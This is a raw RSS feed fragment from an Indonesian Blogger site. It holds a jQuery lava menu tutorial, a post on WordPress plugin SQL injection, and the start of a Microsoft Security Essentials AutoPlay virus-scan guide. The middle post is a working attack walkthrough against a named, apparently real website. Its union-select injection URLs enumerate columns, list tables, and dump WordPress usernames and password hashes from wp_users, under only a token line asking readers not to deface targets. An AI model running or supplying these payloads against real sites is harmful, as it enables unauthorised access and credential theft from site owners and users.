href="http://jqueryui.com/"&gt;jQuery&lt;/a&gt;&amp;#160;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;&lt;a href="http://kui.my-php.net/lava/"&gt;Demo&lt;/a&gt;&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;&lt;a href="http://kui.my-php.net/lava.zip"&gt;Download Source Code&lt;/a&gt;&lt;/h2&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-4788410583096908500?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/8efNUOpj2Mc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/8efNUOpj2Mc/simple-lava-menu-menggunakan-jquery.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://lh4.ggpht.com/_xxdfU1yNW68/TKgWD3909FI/AAAAAAAAAgo/aDWgjIcoI5M/s72-c/images_thumb%5B1%5D.jpg?imgmax=800" height="72" width="72" /><thr:total>0</thr:total><enclosure url="http://kui.my-php.net/lava.zip" length="30555" type="application/zip" /><media:content url="http://kui.my-php.net/lava.zip" fileSize="30555" type="application/zip" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> Simple Lava Menu Menggunakan jQuery Jika pada artikel saya sebelumnya menggenai jQuery yaitu membuat Menu drop down menggunakan jQuery, maka pada artikel kali ini saya akan mencoba mengulas membuat sebuha menu lava, Lava lamp Menu adalah salah satu menu </itunes:subtitle><itunes:author>noreply@blogger.com (pandewa)</itunes:author><itunes:summary> Simple Lava Menu Menggunakan jQuery Jika pada artikel saya sebelumnya menggenai jQuery yaitu membuat Menu drop down menggunakan jQuery, maka pada artikel kali ini saya akan mencoba mengulas membuat sebuha menu lava, Lava lamp Menu adalah salah satu menu favorit yang telah menggunakan oleh beberapa website. untuk demo, silahkan lihat disini HTML Pada bagian HTML, supaya terlihat rapi, kita gunakan daftar UL untuk menu. Ini dianjurkan untuk menggunakan daftar UL untuk menu. Dalam menu ini Lava tutorial ini, kita akan membutuhkan beberapa elemen html tambahan setelah daftar untuk membuat gelembung yang mengambang. Juga, Anda perlu mengatur default item yang dipilih, ini adalah bagaimana HTML terlihat seperti ini: code program &amp;lt;div id=&amp;quot;lava&amp;quot;&amp;gt; &amp;lt;ul&amp;gt; &amp;#160; &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;#&amp;quot;&amp;gt;home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;#160;&amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;#&amp;quot;&amp;gt;Blog&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;#160;&amp;lt;li class=&amp;quot;selected&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;#&amp;quot;&amp;gt;jQuery&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;/ul&amp;gt; &amp;#160;&amp;lt;div id=&amp;quot;box&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;head&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;#160; &amp;lt;/div&amp;gt; Parsed in 0.015 seconds at 13.82 KB/s &amp;#160;&amp;#160;&amp;#160;&amp;#160; 2. CSS. Untuk mempercantik tampilan Lava Lamp Anda, kita gunakan CSS untuk&amp;#160; membuat animasi, posisi absolut dan relatif. Jika kita ingin mengatur posisi mutlak dalam sebuah wadah, kita perlu memastikan item induk disetel ke posisi relatif, jika tidak, item yang lain&amp;#160; akan diposisikan sesuai dengan layar jendela. Berikut kode CSS-nya code program &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; body { &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; font-family:georgia; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; font-size:14px; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; } &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; a &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; { &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; text-decoration:none; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; color:#333; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; } &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #lava { &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; position:relative; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; text-align:center; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; width:583px; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; height:40px; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; } &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #lava ul { &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; margin:0; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; padding:0; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; list-style:none; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; display:inline; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; left:110px; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; top:0; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; z-index:100; &amp;#160; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; } &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #lava ul li { &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; margin:0 15px; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; float:left; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; } &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #lava #box { &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; position:absolute; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; left:0; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; top:0; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; z-index:50; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; background:#ccc; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; height:20px; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; padding-right:8px; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; margin-left:-10px; &amp;#160;&amp;</itunes:summary><itunes:keywords>JQuery, CSS, Pemprograman</itunes:keywords><feedburner:origLink>http://naksangka.blogspot.com/2010/10/simple-lava-menu-menggunakan-jquery.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-3130247236115008746</guid><pubDate>Sun, 19 Sep 2010 17:41:00 +0000</pubDate><atom:updated>2010-10-11T03:15:28.287-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cyber law</category><category domain="http://www.blogger.com/atom/ns#">POC</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">hacking</category><title>WORDPRESS v1.0 SQL Injection Vulnerability</title><description>&lt;div align="justify"&gt;
&lt;strong&gt;&lt;u&gt;WORDPRESS v1.0 SQL Injection Vulnerability&lt;/u&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
&lt;a href="http://lh3.ggpht.com/_xxdfU1yNW68/TJZRzwz1-sI/AAAAAAAAAf8/syJQKDV2GZQ/s1600-h/sqlinjection%5B2%5D.gif"&gt;&lt;img alt="sqlinjection" border="0" height="214" src="http://lh6.ggpht.com/_xxdfU1yNW68/TJZR0r4dVMI/AAAAAAAAAgA/p985PoeHwmA/sqlinjection_thumb.gif?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="sqlinjection" width="174" /&gt;&lt;/a&gt; &lt;/div&gt;
&lt;div align="justify"&gt;
Pada arikel ini, kita akan mencoba melakukan serangan pada website wordpress, yang mana bug ini terdapat pada plugins photoracer wordpress. dari bug ini kita dapat melakukan exploitasi berupa SQL Injection.&lt;/div&gt;
&lt;div align="justify"&gt;
Tanpa berpanjang mukadimah, dan berpanjang lebar, langsung aja kita coba exploitasinya.&lt;/div&gt;
&lt;div align="justify"&gt;
Setelah website/target telah kita dapatkan, maka langkah selanjutnya adalah melakukan SQL Injection pada website tersebut, Contohnya sebagai berikut ini :&lt;/div&gt;
&lt;div class="csharpcode"&gt;
&lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   1:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=1&lt;/pre&gt;
&lt;/div&gt;
&lt;style type="text/css"&gt;
&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, "Courier New", courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }
&lt;/style&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align="justify"&gt;
&lt;a href="http://lh3.ggpht.com/_xxdfU1yNW68/TJZP-OtIkGI/AAAAAAAAAfs/8NhiiXcg3-M/s1600-h/normal%5B8%5D.jpg"&gt;&lt;img alt="normal" border="0" height="324" src="http://lh4.ggpht.com/_xxdfU1yNW68/TJZP_MzZHRI/AAAAAAAAAfw/euD_6Xfq_pc/normal_thumb%5B6%5D.jpg?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="normal" width="524" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
Untuk mengetahui website tersebut Vurlner atau tidaknya, tambahkan single quote/kutip tunggal di akhir ulr, sehingga menjadi seperti berikut ini :&lt;/div&gt;
&lt;div class="csharpcode"&gt;
&lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   1:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-1&lt;/pre&gt;
&lt;/div&gt;
&lt;div align="justify"&gt;
&lt;a href="http://lh6.ggpht.com/_xxdfU1yNW68/TJZQAfvq0kI/AAAAAAAAAf0/pGemHvs_iFA/s1600-h/error%5B3%5D.jpg"&gt;&lt;img alt="error" border="0" height="318" src="http://lh3.ggpht.com/_xxdfU1yNW68/TJZQBAjIYbI/AAAAAAAAAf4/o_EGBChf7zk/error_thumb%5B1%5D.jpg?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="error" width="562" /&gt;&lt;/a&gt; Dari percobaan diatas, telah kita ketahui bersama bahwa website tersebut dapat kita injeksi menggunakan SQL Injection,&lt;/div&gt;
&lt;div align="justify"&gt;
langkah selanjutnya adalah mencari&amp;nbsp; jumlah table dan colum&lt;/div&gt;
&lt;div class="csharpcode"&gt;
&lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   1:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-1 (normal)&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   2:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-2 (normal)&lt;/pre&gt;
&lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   3:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-3 (normal)&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   4:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-4  (normal)&lt;/pre&gt;
&lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   5:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-5 (normal)&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   6:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-6 (normal)&lt;/pre&gt;
&lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   7:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-7 (normal)&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   8:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-8 (normal)&lt;/pre&gt;
&lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   9:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-9 (normal)&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  10:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-10 (error)&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
langkah selanjutnya adalah mencari nomor buntut ,&lt;/div&gt;
&lt;br /&gt;
&lt;div class="csharpcode"&gt;
&lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   1:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,6,7,8,9--&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
Angkanya keluar ;)&lt;/div&gt;
&lt;div align="justify"&gt;
yups angka 6,&lt;/div&gt;
bagaimana selanjutnya ??&lt;br /&gt;
&lt;div align="justify"&gt;
langkah selanjutnya adalah mencari table name, atau kita langsung ajah mencari user dan passworsnya&lt;/div&gt;
&lt;div align="justify"&gt;
loh,,, gmana caranya, ?&lt;/div&gt;
&lt;div align="justify"&gt;
table usernya kita kan g’ tau bro ??&lt;/div&gt;
&lt;div align="justify"&gt;
nah, untuk wordpes, biasanya table untuk user adalah wp-user,&lt;/div&gt;
&lt;div align="justify"&gt;
yang bener bro ??&lt;/div&gt;
&lt;div align="justify"&gt;
kalo anda tidak percaya, silahkan lakukan SQL Injection pada website tersebut seperti berikut ini:&lt;/div&gt;
&lt;div class="csharpcode"&gt;
&lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   1:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,group_concat%28table_name%29,7,8,9+from%20information_schema.tables%20where%20table_schema=database%28%29--&lt;/pre&gt;
&lt;/div&gt;
&lt;div align="justify"&gt;
nah bagaimana ? benarkan ;)&lt;/div&gt;
&lt;div align="justify"&gt;
ok, table user telah kita dapatkan, langkah selanjutnya adalah mencari user name dan password dari website tersebut&lt;/div&gt;
&lt;div align="justify"&gt;
ini yang saya tunggu-tunggu bro &lt;img alt="smile_tongue" src="http://spaces.live.com/rte/emoticons/smile_tongue.gif" /&gt;&lt;/div&gt;
&lt;div class="csharpcode"&gt;
&lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   1:  &lt;/span&gt;http://www.soycanarion.es/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat,(user_login,0x3a,user_pass),7,8,9+from+wp_users--&lt;/pre&gt;
&lt;/div&gt;
&lt;div align="justify"&gt;
wewww, user dan passwordnya sudah nongol :)&lt;/div&gt;
silahkan anda enkripsi terlebih dahulu password tersebut,&lt;br /&gt;
special thank’s&lt;br /&gt;
&lt;a href="http://www.facebook.com/nathan.gusti.ryan"&gt;Mas Nathan&lt;/a&gt;,&lt;a href="http://www.facebook.com/XmoenseN"&gt;Hank&lt;/a&gt;,&lt;a href="http://www.facebook.com/G4makichi"&gt;Marthen&lt;/a&gt;,&lt;a href="http://www.facebook.com/supermenganteng"&gt;supermen ganteng&lt;/a&gt; and U &lt;img alt="smile_shades" src="http://spaces.live.com/rte/emoticons/smile_shades.gif" /&gt;&lt;br /&gt;
&lt;blockquote&gt;
&lt;div align="center"&gt;
jika anda telah mendapatkan target, janganlah berfikir untuk merusak website tersebut, tetapi pelajarilah kelemahan dari bug tersebut&amp;nbsp; &lt;img alt="smile_wink" src="http://spaces.live.com/rte/emoticons/smile_wink.gif" /&gt;&lt;/div&gt;
&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-3130247236115008746?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/uJwPFPEsiqQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/uJwPFPEsiqQ/wordpress-v10-sql-injection.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://lh6.ggpht.com/_xxdfU1yNW68/TJZR0r4dVMI/AAAAAAAAAgA/p985PoeHwmA/s72-c/sqlinjection_thumb.gif?imgmax=800" height="72" width="72" /><thr:total>15</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/09/wordpress-v10-sql-injection.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-6316759629022325464</guid><pubDate>Fri, 17 Sep 2010 16:35:00 +0000</pubDate><atom:updated>2010-09-19T05:30:03.992-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">windows</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Bersihkan Virus Melalui Kotak Dialog Autoplay</title><description>&lt;div style="text-align: justify;"&gt;
Bersihkan Virus Melalui Kotak Dialog Autoplay&lt;/div&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/TJODquVupAI/AAAAAAAAAdY/C6EV5X6NgBg/s1600/microsoft-security-essentials.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TJODquVupAI/AAAAAAAAAdY/C6EV5X6NgBg/s320/microsoft-security-essentials.jpg" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;i&gt;Microsoft Security Essentials&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Antivirus merupakan suatu aplikasi yang wajib bagi anda pengguna komputer .&lt;i&gt;Microsoft Security Essentials&lt;/i&gt; (MSE) adalah suatu produk antivirus yang di kembangkan Microsoft untuk pengguna windows, yang mana aplikasi ini dapat anda download sacara gratis.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Pada trik saya sebelumnya mengenai &lt;a href="http://naksangka.blogspot.com/2010/06/windows-defender-usir-virus-dari.html"&gt;Windows Defender&lt;/a&gt;, pada artikel kali ini kita akan kembali belajar mengenai membersihkan virus menggunakan autoplay.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Apa itu Autoplay ? autoplay adalah satu fitur baru dari Microsoft Windows yang diperkenalkan pertama kali sejak versi Windows XP. Autoplay adalah fitur yang berfungsi untuk memeriksa dan mendeteksi adanya suatu perangkat baru yang disambungkan ke komputer. Selanjutnya Autoplay akan menentukan jenis atau tipe file yang ada di dalam perangkat tersebut dan menampilkan sebuah kotak dialog yang berisi shorcut aplikasi-aplikasi yang sudah terinsta pada windows yang bisa digunakan untuk membuka file tadi.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Jadi Anda bisa langsung melakukan scan virus terhadap UFD, CD, atau DVD, yang terhubung dengan komputer Anda melalui kotak dialog Autoplay yang muncul. Nah ikuti langkah-demi langkah berikut ini :&lt;/div&gt;
&lt;ol style="text-align: justify;"&gt;
&lt;li&gt;Download MSE di alamat http://www.microsoft.com/security_essentials/ setelah proses download selesai. lakukanlah instalsi seperti biasanya. klik kanan pada file mssefullinstall-x86fre-en-us-vista-win7 &amp;gt; open. perhatikan gambar di bawah ini untuk lebih lengkapnya &lt;/li&gt;
&lt;/ol&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img border="0" height="252" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TJOH87UtNxI/AAAAAAAAAdg/AKc3DwJwsJI/s400/Langkah+Pertama.png" style="margin-left: auto; margin-right: auto;" width="400" /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Langkah pertama, klik button Next &amp;gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class="separator" style="clear: both; text-align: justify;"&gt;
&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/TJOH87UtNxI/AAAAAAAAAdg/AKc3DwJwsJI/s1600/Langkah+Pertama.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/TJOItwADLqI/AAAAAAAAAdo/Gp1uD22h3zU/s1600/langkahkedua.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="256" src="http://4.bp.blogspot.com/_xxdfU1yNW68/TJOItwADLqI/AAAAAAAAAdo/Gp1uD22h3zU/s400/langkahkedua.jpg" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Lisensi Agreement, lanjutkan dengan mengklik button I accept&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TJOMmksP_tI/AAAAAAAAAdw/ca7YndRBFmI/s1600/langkahketiga.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="250" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TJOMmksP_tI/AAAAAAAAAdw/ca7YndRBFmI/s400/langkahketiga.jpg" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;lanjutkan dengan mengklik button Validate&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/TJOMvsXEpMI/AAAAAAAAAd4/RwaTO1SPPhQ/s1600/langkahkeempat.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="251" src="http://4.bp.blogspot.com/_xxdfU1yNW68/TJOMvsXEpMI/AAAAAAAAAd4/RwaTO1SPPhQ/s400/langkahkeempat.jpg" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;klik button Install untuk memulai instalasi&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/TJOM5uE26VI/AAAAAAAAAeA/yxaoyiSixXU/s1600/5.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="251" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TJOM5uE26VI/AAAAAAAAAeA/yxaoyiSixXU/s400/5.jpg" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;proses instalasi sedang berjalan. tunggu beberapa saat &lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style="text-align: justify;"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2. Selanjutnya, donwload file mseautoplay.zip di alamat http://www.winhelponline.com/temp/mseautoplay.zip.Kemudian&amp;nbsp; ektrak dan jika berhasil, Anda akan mendapatkan tiga buah file,&amp;nbsp; yaitu &lt;span style="color: red;"&gt;mseautoplay.reg&lt;/span&gt; &lt;span style="color: #0b5394;"&gt;undo.reg&lt;/span&gt; &lt;span style="color: black;"&gt;dan &lt;span style="color: #0c343d;"&gt;msescan.vbs&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3. &amp;nbsp; Selanjutnya, pindahkan&amp;nbsp;&lt;span style="color: red;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;span style="color: #0c343d;"&gt;msescan.vbs &lt;span style="color: black;"&gt;kedalam direktori windows komputer Anda.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
